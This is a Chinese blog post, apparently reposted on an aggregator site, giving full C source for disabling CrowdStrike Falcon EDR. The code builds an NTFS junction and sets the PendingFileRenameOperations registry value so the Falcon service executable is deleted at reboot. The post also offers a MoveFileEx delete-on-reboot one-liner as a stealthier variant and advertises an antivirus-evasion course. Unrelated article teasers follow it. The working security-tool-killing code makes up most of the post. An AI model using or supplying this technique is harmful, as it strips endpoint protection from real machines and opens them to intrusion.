难绷,一种重命名+符号链接禁用EDR(Crowdstrike)的方法

最近看到的一个项目:https://github.com/rad9800/FileRenameJunctionsEDRDisable

#include <windows.h>#include <winioctl.h>#include <stdio.h>
typedef struct _REPARSE_DATA_BUFFER{    ULONG ReparseTag;    USHORT ReparseDataLength;    USHORT Reserved;    union {        struct        {            USHORT SubstituteNameOffset;            USHORT SubstituteNameLength;            USHORT PrintNameOffset;            USHORT PrintNameLength;            ULONG Flags;            WCHAR PathBuffer[1];        } SymbolicLinkReparseBuffer;        struct        {            USHORT SubstituteNameOffset;            USHORT SubstituteNameLength;            USHORT PrintNameOffset;            USHORT PrintNameLength;            WCHAR PathBuffer[1];        } MountPointReparseBuffer;        struct        {            UCHAR DataBuffer[1];        } GenericReparseBuffer;    } DUMMYUNIONNAME;} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)
BOOL create_junction(LPCWSTR junction_dir, LPCWSTR target_dir) {    HANDLE file = CreateFileW(junction_dir, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,        NULL, OPEN_EXISTING, FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS, NULL);    if (file == INVALID_HANDLE_VALUE)        return FALSE;
    WCHAR substitute_name[MAX_PATH], print_name[MAX_PATH];    swprintf_s(substitute_name, MAX_PATH, L"\\??\\%s", target_dir);    wcscpy_s(print_name, MAX_PATH, target_dir);
    USHORT substitute_name_len = (USHORT)(wcslen(substitute_name) * sizeof(WCHAR));    USHORT print_name_len = (USHORT)(wcslen(print_name) * sizeof(WCHAR));    USHORT reparse_data_size = (USHORT)(FIELD_OFFSET(REPARSE_DATA_BUFFER, MountPointReparseBuffer.PathBuffer)        + substitute_name_len + sizeof(WCHAR) + print_name_len + sizeof(WCHAR));
    PREPARSE_DATA_BUFFER buf = (PREPARSE_DATA_BUFFER)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, reparse_data_size);    if (!buf) {        CloseHandle(file);        return FALSE;    }
    buf->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;    buf->ReparseDataLength = (USHORT)(reparse_data_size - REPARSE_DATA_BUFFER_HEADER_LENGTH);    buf->MountPointReparseBuffer.SubstituteNameOffset = 0;    buf->MountPointReparseBuffer.SubstituteNameLength = substitute_name_len;    buf->MountPointReparseBuffer.PrintNameOffset = substitute_name_len + sizeof(WCHAR);    buf->MountPointReparseBuffer.PrintNameLength = print_name_len;
    memcpy(buf->MountPointReparseBuffer.PathBuffer, substitute_name, substitute_name_len);    buf->MountPointReparseBuffer.PathBuffer[substitute_name_len / sizeof(WCHAR)] = L'\0';    memcpy((PBYTE)buf->MountPointReparseBuffer.PathBuffer + substitute_name_len + sizeof(WCHAR), print_name, print_name_len);    buf->MountPointReparseBuffer.PathBuffer[(substitute_name_len + sizeof(WCHAR) + print_name_len) / sizeof(WCHAR)] = L'\0';
    BOOL success = DeviceIoControl(file, FSCTL_SET_REPARSE_POINT, buf, reparse_data_size, NULL, 0, NULL, NULL);
    HeapFree(GetProcessHeap(), 0, buf);    CloseHandle(file);
    return success;}
BOOL setup_junction() {    LPCWSTR junction_dir = L"C:\\Program-Files";    LPCWSTR target_dir = L"C:\\Program Files";
    if (!CreateDirectoryW(junction_dir, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)        return FALSE;
    return create_junction(junction_dir, target_dir);}
BOOL set_registry_value(LPCWSTR sub_key, LPCWSTR reg_key, const WCHAR* const* values) {    HKEY key;    LONG result = RegOpenKeyExW(HKEY_LOCAL_MACHINE, sub_key, 0, KEY_SET_VALUE, &key);    if (result != ERROR_SUCCESS) {        return FALSE;    }
    size_t total_len = 0;    for (const WCHAR* const* p = values; *p != NULL; p++) {        total_len += wcslen(*p) + 1;    }    total_len += 1;
    WCHAR* multi_sz_val = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, total_len * sizeof(WCHAR));    if (!multi_sz_val) {        RegCloseKey(key);        return FALSE;    }
    WCHAR* ptr = multi_sz_val;    for (const WCHAR* const* p = values; *p != NULL; p++) {        size_t len = wcslen(*p);        memcpy(ptr, *p, len * sizeof(WCHAR));        ptr += len;        *ptr++ = L'\0';    }    *ptr = L'\0';
    result = RegSetValueExW(key, reg_key, 0, REG_MULTI_SZ, (BYTE*)multi_sz_val, (DWORD)(total_len * sizeof(WCHAR)));
    HeapFree(GetProcessHeap(), 0, multi_sz_val);    RegCloseKey(key);
	return result == ERROR_SUCCESS;}
int main() {    if (!setup_junction()) {        return FALSE;    }	wprintf(L"Junction created successfully.\n");
    LPCWSTR sub_key = L"SYSTEM\\CurrentControlSet\\Control\\Session Manager";    const WCHAR* ops[] = {        L"\\??\\C:\\program-files\\CrowdStrike\\CSFalconService.exe",        L"",        L"",        NULL    };
    if (!set_registry_value(sub_key, L"PendingFileRenameOperations", ops)) {        return 2;    }    wprintf(L"PendingFileRenameOperations set successfully.\n");
    return 0;}

技术解析

第一个点是PendingFileRenameOperations ,它是 Windows 用来管理文件重命名和删除操作的注册表项,位于注册表HKLM\SYSTEM\CurrentControlSet\Control\Session Manager下。设计是用来对一些被占用的文件进行操作,因为有些被操作的文件当前正在使用而无法立即完成操作,此值可用于在启动时强制移动或删除文件

第二点符号链接,NTFS 文件系统中的一种功能,允许将一个目录作为另一个目录的快捷方式或符号链接。攻击者可以利用这一特性,欺骗操作系统或程序,将文件操作引导到意料之外的位置。关于它的滥用历史悠久,可以参考谷歌0day大神James Forshaw 的精彩文章:

https://www.slideshare.net/slideshow/abusing-symlinks-on-windows/47554612

https://github.com/googleprojectzero/symboliclink-testing-tools

他在Windows的研究非常强大,以至于很多国外安全研究员的研究几乎都引用他的研究就找出一个新的绕过安全产品的攻击手法或CVE出来,可以说Windows Security的财富密码都来自于James Forshaw(可能夸张点了)


看到这里你会喷我标题党,标题起的那么夸张,这有什么难绷的?其实这里有个点就是国内某知名安全软件都会拦截符号链接的创建

而国外的EDR基本上都不会拦

这么说还得是我360大哥才是真神,真正的防护一哥

话又说回来,其实上面的项目会操作注册表,不是很隐蔽。毕竟

其实还有一种无需接触注册表的简单方法,MoveFileEx :

MoveFileEx(szExistingFile, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);

MoveFileEx API 将文件移动到新位置。当传递 NULL 作为第二个参数时,这会导致文件“无处可移”,从而有效地删除文件。现在,如果尝试使用当前可执行文件的路径执行此操作,通常会失败。但是,如果在 dwFlags 参数中指定 MOVEFILE_DELAY_UNTIL_REBOOT,这会告诉 Windows 不要移动(或删除)文件,直到系统关闭或重新启动。

这个之前配合subst是一个很不错的过启动项方法。 

大家伙,如果想学习更多的知识和联系我们,可以看我们的论坛: 

老鑫安全icon-default.png?t=O83Ahttps://www.laoxinsec.com/ 哔哩哔哩有免杀基础课程,搜索账号:老鑫安全培训,老鑫安全二进制   

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/954592.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

数仓建模(三)建模三步走:需求分析、模型设计与数据加载

本文包含&#xff1a; 数据仓库的背景与重要性数据仓库建模的核心目标本文结构概览&#xff1a;需求分析、模型设计与数据加载 目录 第一部分&#xff1a;需求分析 1.1 需求分析的定义与目标 1.2 需求分析的步骤 1.2.1 业务需求收集 1.2.2 技术需求分析 1.2.3 成果输出…

微信小程序-Docker+Nginx环境配置业务域名验证文件

在实际开发或运维工作中&#xff0c;我们时常需要在 Nginx 部署的服务器上提供一个特定的静态文件&#xff0c;用于域名验证或第三方平台验证。若此时使用 Docker 容器部署了 Nginx&#xff0c;就需要将该验证文件正确地映射&#xff08;挂载&#xff09;到容器中&#xff0c;并…

Python Wi-Fi密码测试工具

Python Wi-Fi测试工具 相关资源文件已经打包成EXE文件&#xff0c;可双击直接运行程序&#xff0c;且文章末尾已附上相关源码&#xff0c;以供大家学习交流&#xff0c;博主主页还有更多Python相关程序案例&#xff0c;秉着开源精神的想法&#xff0c;望大家喜欢&#xff0c;点…

usb通过hdc连接鸿蒙next的常用指令

参考官方 注册报名https://www.hiascend.com/developer/activities/details/44de441ef599450596131c8cb52f7f8c/signup?channelCodeS1&recommended496144 hdc-调试命令-调测调优-系统 - 华为HarmonyOS开发者https://developer.huawei.com/consumer/cn/doc/harmonyos-guid…

前端性能-HTTP缓存

前言 开启 HTTP 缓存是提升前端性能的常见手段之一。通过缓存&#xff0c;浏览器可以临时存储资源&#xff0c;在后续请求中直接使用本地副本&#xff0c;从而有效减少 HTTP 请求次数&#xff0c;显著缩短网页加载时间。以下是 HTTP 缓存的几个关键点&#xff1a; 1、减少重复…

【Unity-Game4Automation PRO 插件】

Game4Automation PRO 插件 是一个用于 Unity 引擎 的工业自动化仿真工具&#xff0c;它提供了对工业自动化领域的仿真和虚拟调试支持&#xff0c;特别是在与工业机器人、生产线、PLC 系统的集成方面。该插件旨在将工业自动化的实时仿真与游戏开发的高质量 3D 可视化能力结合起来…

【Linux】--- 进程的等待与替换

进程的等待与替换 一、进程等待1、进程等待的必要性2、获取子进程status3、进程等待的方法&#xff08;1&#xff09;wait&#xff08;&#xff09;函数&#xff08;2&#xff09;waitpid函数 4、多进程创建以及等待的代码模型5、非阻塞接口 轮询 二、进程替换1、替换原理2、替…

一个超快低延迟.Net网络通信库:支持TCP, SSL, UDP, HTTP,HTTPS, WebSocket多协议

今天给大家推荐一个性能好、低延迟.Net网络通信库&#xff0c;基本支持所有协议。 01 项目简介 NetCoreServer是一个基于.NET Core的开源项目&#xff0c;一个高性能、跨平台的异步套接字服务器与客户端库。该项目支持多种传输协议&#xff0c;包括TCP、SSL、UDP、HTTP、HTTP…

苍穹外卖08——(涉及接收日期格式数据、ApachePOI导出报表、sql获取top10菜品数据)

营业额统计 service层 在需要处理空值、与数据库交互或使用集合时&#xff0c;Integer 、Double是更好的选择。 // 导入string工具类 import org.apache.commons.lang.StringUtils; Service // 标记该类为Spring的服务组件 Slf4j // 引入日志功能 public class Repor…

数据结构9——二叉搜索树

&#x1f947;1.二叉搜索树的概念 二叉搜索树(Binary Search Tree,BST)又称二叉排序树或二叉查找树&#xff0c;其要么是一棵空树&#xff0c;要么具有以下性质&#xff1a; ①&#xff1a;左子树上所有节点的值都小于根节点&#xff1b; ②&#xff1a;右子树上所有节点的值都…

如何使用wireshark 解密TLS-SSL报文

目录 前言 原理 操作 前言 现在网站都是https 或者 很多站点都支持 http2。这些站点为了保证数据的安全都通过TLS/SSL 加密过&#xff0c;用wireshark 并不能很好的去解析报文&#xff0c;我们就需要用wireshark去解密这些报文。我主要讲解下mac 在 chrome 怎么配置的&…

c++ haru生成pdf输出文本实例

haru是一个开源的生成pdf的库&#xff0c;花时间终于编译成功&#xff0c;以下是一个特别简单的写文本的实例&#xff1a; #include "hpdf.h" void CDemoDlg::OnBnClickedOk() { HPDF_Error_Handler error_handler NULL; HPDF_Doc pdf; pdf HPDF_New(…

Redis与MySQL主从复制原理解析

目录 1. 介绍2. Mysql主从复制的工作原理3. Mysql复制的类型3.1 基于语句的复制&#xff08;Statement-based Replication, SBR&#xff09;3.2 基于行的复制&#xff08;Row-based Replication, RBR&#xff09;3.3 混合复制&#xff08;Mixed Replication&#xff09; 4. Red…

一步到位Python Django部署,浅谈Python Django框架

Django是一个使用Python开发的Web应用程序框架&#xff0c;它遵循MVC&#xff08;Model-View-Controller&#xff09;设计模式&#xff0c;旨在帮助开发人员更快、更轻松地构建和维护高质量的Web应用程序。Django提供了强大的基础设施和工具&#xff0c;以便于处理复杂的业务逻…

迅为RK3568开发板篇OpenHarmony配置HDF驱动控制LED-新增 topeet子系统-编写 bundle.json文件

bundle.json 文件内容如下所示&#xff1a; 下面是对各个字段的解释&#xff1a; 1. name: "ohos/demos" - 这是组件或项目的名称&#xff0c;这里表示它属于 OHOS&#xff08;OpenHarmony OS&#xff09;生态系统下的一个名为"demos"的组件。 2. descri…

STM32 物联网智能家居 (三) 输入子系统

STM32 物联网智能家居 (三) 输入子系统 下面是物联网智能家居的输入子系统&#xff0c;见下图&#xff0c;在输入子系统中会实现按键输入、网络输入、标准输入Scanf&#xff0c;其中的网络输入放入到网络子系统中进行讲解。 一、输入子系统核心功能 STM32 物联网智能家居输入…

Windows 正确配置android adb调试的方法

下载适用于 Windows 的 SDK Platform-Tools https://developer.android.google.cn/tools/releases/platform-tools?hlzh-cn 设置系统变量&#xff0c;路径为platform-tools文件夹的绝对路径 点击Path添加环境变量 %adb%打开终端输入adb shell 这就成功了&#xff01;

【C#深度学习之路】如何使用C#实现Yolo8/11 Segment 全尺寸模型的训练和推理

【C#深度学习之路】如何使用C#实现Yolo8/11 Segment 全尺寸模型的训练和推理 项目背景项目实现推理过程训练过程 项目展望写在最后项目下载链接 本文为原创文章&#xff0c;若需要转载&#xff0c;请注明出处。 原文地址&#xff1a;https://blog.csdn.net/qq_30270773/article…

线性回归超详解

目录 一、回归问题 vs 分类问题 二、线性回归 1、一句话理解 2、数学推导 2.1 线性函数表示 2.2 损失函数 2.3 梯度下降 2.3.1 什么是梯度 2.3.2 梯度下降目标 2.3.3 过程 2.3.4 迭代公式 3、特征预处理 3.1 为什么要预处理 3.2 数据归一化方法 1&#xff09;最小…

docker 部署 Kafka 单机和集群

一、准备工作 安装 Docker 确保本机已安装 Docker。可以通过以下命令检查 Docker 是否已安装&#xff1a;docker --version如果未安装&#xff0c;可以访问 Docker 官网下载并安装 Docker Desktop&#xff08;Windows 和 Mac&#xff09;或使用包管理器安装&#xff08;Linux&…